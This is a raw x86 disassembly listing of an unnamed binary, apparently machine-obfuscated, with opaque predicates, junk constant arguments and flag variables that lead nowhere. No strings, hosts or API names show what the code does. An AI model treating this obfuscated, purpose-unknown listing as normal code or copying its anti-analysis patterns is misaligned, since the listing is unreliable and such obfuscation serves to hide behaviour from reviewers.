mov dword [ebp - 0x320], 0x81b27067
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x7c]
cmp eax, 0x997ec53a
jne 0x43bee8
mov dword [ebp - 0x900], 1
jmp 0x43beef
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x7c], eax
je 0x43bf0f
mov dword [ebp - 0x57c], 1
jmp 0x43bf16
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0xf0]
imul eax, dword [ebp - 0x57c]
cmp eax, dword [ebp - 0xf0]
jle 0x43bf37
mov dword [ebp - 0x778], 1
jmp 0x43bf3e
and dword [ebp - 0x778], 0
cmp dword [ebp - 0x778], 0xfffffff8
jg 0x43bf53
mov dword [ebp - 0x584], 1
jmp 0x43bf5a
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x584], eax
jge 0x43bf74
mov dword [ebp - 0x6ac], 1
jmp 0x43bf7b
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0x348], eax
push 0x75a
lea eax, [ebp - 0x320]
push eax
push 0
push 0x4041
push 0x7281
push 0x7ddb
push 0x2104
push 0x2062
lea eax, [ebp - 0xf0]
push eax
push 1
push 0x2bbd
lea eax, [ebp - 0x348]
push eax
push 1
push 0
push 0x7393
call fcn.0043ff39
add esp, 0x3c
jmp 0x43be9e
mov dword [ebp - 0x9ac], 0x99cf
mov dword [ebp - 0x2e4], 0x5e48d327
mov byte [ebp - 0x97], 0
push 0
push 0x7c6c
lea eax, [ebp - 0x97]
push eax
push 1
push 1
push 1
push 0x676b
push 0x453a
call fcn.00428b9d
add esp, 0x20
mov dword [ebp - 0x2e4], 0x15
jmp 0x43c033
mov eax, dword [ebp - 0x2e4]
dec eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0xfffffff9
je 0x43c060
mov byte [ebp - 0xbd], 0
push 0
push 0x7040
lea eax, [ebp - 0xbd]
push eax
push 0x1506
call fcn.004412c8
add esp, 0x10
jmp 0x43c026
mov dword [ebp - 0xa04], 0x229edca8
mov dword [ebp - 0x10c], 0x29be1d92
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x10c], 0
jmp 0x43c097
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x2d
jne 0x43c0f5
mov dword [ebp - 0xa74], 4
push 1
push 0
push 1
push 0x493a
push 1
push 0x6002
lea eax, [ebp - 0xa74]
push eax
push 0
push 0x1962
call fcn.004079d4
add esp, 0x24
mov byte [ebp - 0xae], 0
push 1
push 0x6785
push 0
push 0
lea eax, [ebp - 0xae]
push eax
call fcn.0041effb
add esp, 0x14
jmp 0x43c08a
mov dword [ebp - 0x9a0], 0xffffffff
mov dword [ebp - 0xaa0], 0xfffffff9
mov dword [ebp - 0x910], 0x67fa5c62
mov dword [ebp - 0x920], 0xffffffff
mov dword [ebp - 0xaec], 0xfffffffc
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0xa90], 1
mov dword [ebp - 0xa8c], 0x1c3c39ba
mov dword [ebp - 0x930], 0x963ba20b
mov dword [ebp - 0xa98], 0x49f6d4a0
mov dword [ebp - 0xa80], 0
push 2
lea ecx, [ebp - 0xc48]
call fcn.0045223e
mov dword [ebp - 0xce4], 1
mov dword [ebp - 0xec0], 0xe856
mov dword [ebp - 0x928], 0xffffffff
mov dword [ebp - 0x908], 0xa08bbd18
mov dword [ebp - 0x918], 0x2be2
push 0x57cb
push 0x63c8
lea eax, [ebp - 0xcec]
push eax
push 0x48c4
push 1
push 0x4e22
push 1
push 0x1919
push 1
push 0x2344
push 1
push 0x351d
lea eax, [ebp - 0xc48]
push eax
push 0
call fcn.004130e3
add esp, 0x38
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0xaec]
push eax
push 1
lea eax, [ebp - 0x910]
push eax
lea eax, [ebp - 0xa80]
push eax
lea eax, [ebp - 0x918]
push eax
lea eax, [ebp - 0xa90]
push eax
push 0x130
lea eax, [ebp - 0x920]
push eax
lea eax, [ebp - 0x114]
push eax
push 0x714f
push 0x18bb
lea eax, [ebp - 0xa8c]
push eax
lea eax, [ebp - 0x928]
push eax
push 0
lea eax, [ebp - 0xa98]
push eax
push 0
push 0x1c2
lea eax, [ebp - 0x930]
push eax
push 0
lea eax, [ebp - 0xc48]
push eax
push 0x1395
lea eax, [ebp - 0xaa0]
push eax
push 0x3294
push 0x6cac
push 0x1ff4
call fcn.0041e506
add esp, 0x68
mov dword [ebp - 0x114], 0
jmp 0x43c298
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xfffffff3
jle 0x43c2d0
mov dword [ebp - 0x938], 0xfffffffe
push 0
push 0x12c0
push 1
push 0x1526
push 0
call fcn.0045018e
add esp, 0x14
cmp dword [ebp - 0x938], 0
je 0x43c2ce
jmp 0x43c28b
jmp 0x43c28b
lea ecx, [ebp - 0xc48]
call fcn.00452310
mov dword [ebp - 0xa0c], 1
push 2
lea ecx, [ebp - 0x808]
call fcn.0045223e
mov dword [ebp - 0x88], 0xe19d29be
mov dword [ebp - 0xb14], 0x600d5493
mov dword [ebp - 0x188], 0
jmp 0x43c31f
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 2
jge 0x43c341
push dword [ebp - 0x188]
lea ecx, [ebp - 0x808]
call fcn.0045232c
mov dword [eax], 4
jmp 0x43c312
mov dword [ebp - 0x88], 1
jmp 0x43c35a
cmp dword [ebp - 0x88], 0
jl 0x43c5b8
mov dword [ebp - 0x190], 0
jmp 0x43c380
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x43c39c
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x180], 8
jmp 0x43c373
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x180], 1
jmp 0x43c3ca
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x180]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x180], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x180], 0
jl 0x43c3f4
push dword [ebp - 0x88]
lea ecx, [ebp - 0x808]
call fcn.0045232c
cmp dword [eax], 0
je 0x43c3f2
jmp 0x43c3f4
jmp 0x43c3af
cmp dword [ebp - 0xb14], 0
je 0x43c449
push 0
lea ecx, [ebp - 0x808]
call fcn.0045232c
mov ecx, dword [ebp - 0x88]
cmp dword [eax], ecx
jl 0x43c420
mov dword [ebp - 0x58c], 1
jmp 0x43c427
and dword [ebp - 0x58c], 0
cmp dword [ebp - 0x58c], 0
jne 0x43c449
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x180], 0
jne 0x43c449
and dword [ebp - 0x6c8], 0
jmp 0x43c453
mov dword [ebp - 0x6c8], 1
cmp dword [ebp - 0x6c8], 0xfffffff9
jne 0x43c468
mov dword [ebp - 0x594], 1
jmp 0x43c46f
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x594], 0x1aa12afd
jne 0x43c487
mov dword [ebp - 0x6b4], 1
jmp 0x43c48e
and dword [ebp - 0x6b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x180]
cmp dword [ebp - 0x6b4], eax
jl 0x43c4af
mov dword [ebp - 0x59c], 1
jmp 0x43c4b6
and dword [ebp - 0x59c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x180]
imul eax, dword [ebp - 0x59c]
add eax, 0x3703
cmp eax, 0xe964
jle 0x43c4e2
mov dword [ebp - 0x6c4], 1
jmp 0x43c4e9
and dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0xd64b
jl 0x43c501
mov byte [ebp - 0x99], 0
push 0x1141
push 0x57e8
push 0x4e92
push 0x5fe0
push 0x38c5
push 0x2247
push 0
lea eax, [ebp - 0x99]
push eax
push 0
push 0x2f95
push 1
push 0x582b
push 0
push 0x7599
push 1
call fcn.0044418c
add esp, 0x3c
lea ecx, [ebp - 0x808]
call fcn.00452310
mov dword [ebp - 0xe10], 0x270f9e3
push 4
lea ecx, [ebp - 0xc60]
call fcn.0045223e
push 3
lea ecx, [ebp - 0xc90]
call fcn.0045223e
push 0
push 1
push 0x6a92
push 1
push 1
push 0x1a8c
push 0x4ae2
lea eax, [ebp - 0xc60]
push eax
lea eax, [ebp - 0xa9c]
push eax
call fcn.0042046e
add esp, 0x24
push 1
push 0
push 1
push 0x6f3a
push 0
lea eax, [ebp - 0xa9c]
push eax
push 0x7a96
push 0
lea eax, [ebp - 0xc90]
push eax
call fcn.004079d4
add esp, 0x24
push 0
lea eax, [ebp - 0xc60]
push eax
push 0
push 0x39c0
push 0x2143
push 1
push 0x7712
lea eax, [ebp - 0xc90]
push eax
call fcn.00432728
add esp, 0x20
lea ecx, [ebp - 0xc90]
call fcn.00452310
lea ecx, [ebp - 0xc60]
call fcn.00452310
mov dword [ebp - 0xcf4], 0xa05d7627
push 1
lea ecx, [ebp - 0x2f8]
call fcn.0045223e
mov dword [ebp - 0x34], 0xc70bb743
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x370], 0x663b8b2
mov dword [ebp - 0x958], 0x725eff85
push 0x57fe
push 1
push 0
push 0
lea eax, [ebp - 0x2f8]
push eax
lea eax, [ebp - 0x40]
push eax
push 0x69d
push 0x43a1
push 0x53e0
call fcn.00429bb8
add esp, 0x24
mov dword [ebp - 0x40], 0
jmp 0x43c745
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x43c75b
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2d8], 0xdde9ab5c
jmp 0x43c73e
mov dword [ebp - 0x40], 0
jmp 0x43c76b
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x43c781
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xc0c], 0xfffffff6
jmp 0x43c764
mov dword [ebp - 0x34], 0
jmp 0x43c791
cmp dword [ebp - 0x34], 0
jl 0x43c9ae
mov dword [ebp - 0xb44], 0xffffffff
mov dword [ebp - 0xb40], 0xffffffff
mov dword [ebp - 0xb3c], 0xffffffff
mov dword [ebp - 0xb38], 0xffffffff
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
cmp dword [eax], 0x9008cf5a
jbe 0x43c865
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
cmp dword [eax], 0
je 0x43c802
push 0
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
cmp dword [eax], 0
jne 0x43c81e
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
cmp dword [eax], 0
jne 0x43c81e
and dword [ebp - 0x328], 0
jmp 0x43c828
mov dword [ebp - 0x328], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x328]
mov dword [ebp + eax - 0x2d8], ecx
cmp dword [ebp - 0x328], 0xbd01
jg 0x43c853
mov eax, 0xdffbe584
test eax, eax
je 0x43c87a
mov dword [ebp - 0x5b4], 1
jmp 0x43c881
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
sub eax, 0x67f5aee0
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xb44]
jle 0x43c8a7
mov dword [ebp - 0x39c], 1
jmp 0x43c8ae
and dword [ebp - 0x39c], 0
push 0
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
mov ecx, dword [ebp - 0x39c]
cmp ecx, dword [eax]
jle 0x43c8d1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xf50], eax
cmp dword [ebp - 0x198], 0xfffffffd
jge 0x43c9dc
mov dword [ebp - 0x3e8], 1
jmp 0x43c9e3
and dword [ebp - 0x3e8], 0
push 6
pop eax
test eax, eax
je 0x43ca08
push 0
lea ecx, [ebp - 0x2f8]
call fcn.0045232c
cmp dword [eax], 0
je 0x43ca08
mov dword [ebp - 0x3c0], 1
jmp 0x43ca0f
and dword [ebp - 0x3c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d8]
cmp dword [ebp - 0x3c0], eax
jg 0x43ca30
mov dword [ebp - 0x3c8], 1
jmp 0x43ca37
and dword [ebp - 0x3c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d8]
cmp dword [ebp - 0x3c8], eax
je 0x43ca58
jmp 0x43fc63
mov eax, dword [ebp - 0x88c]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x8c4], eax
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x8fc], eax
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x8bc]
movzx eax, byte [eax]
test eax, eax
je 0x43fbe2
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x8d4], eax
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x8ec], eax
mov eax, dword [ebp - 0x8e4]
mov ecx, dword [ebp - 0x8ec]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43fc63
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x90c], eax
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x914], eax
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x924], eax
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x92c], eax
mov eax, dword [ebp - 0x774]
mov eax, dword [eax]
cmp dword [eax], 0
jbe 0x43fc63
push dword [ebp - 0x924]
push 1
push dword [ebp - 0x774]
push dword [ebp - 0x92c]
push 0x2d99
push 1
push 0
push 0x52a0
call fcn.0041288f
add esp, 0x20
jmp 0x43fc2a
jmp 0x43fca2
lea eax, [ebp + 0x30]
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x934]
movzx eax, byte [eax]
test eax, eax
je 0x43fc85
push 0
call fcn.0042651d
pop ecx
jmp 0x43fca2
push 0x6f0f
push 1
push 0
push 0x3394
push 1
push 0x27bd
call fcn.0040918b
add esp, 0x18
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret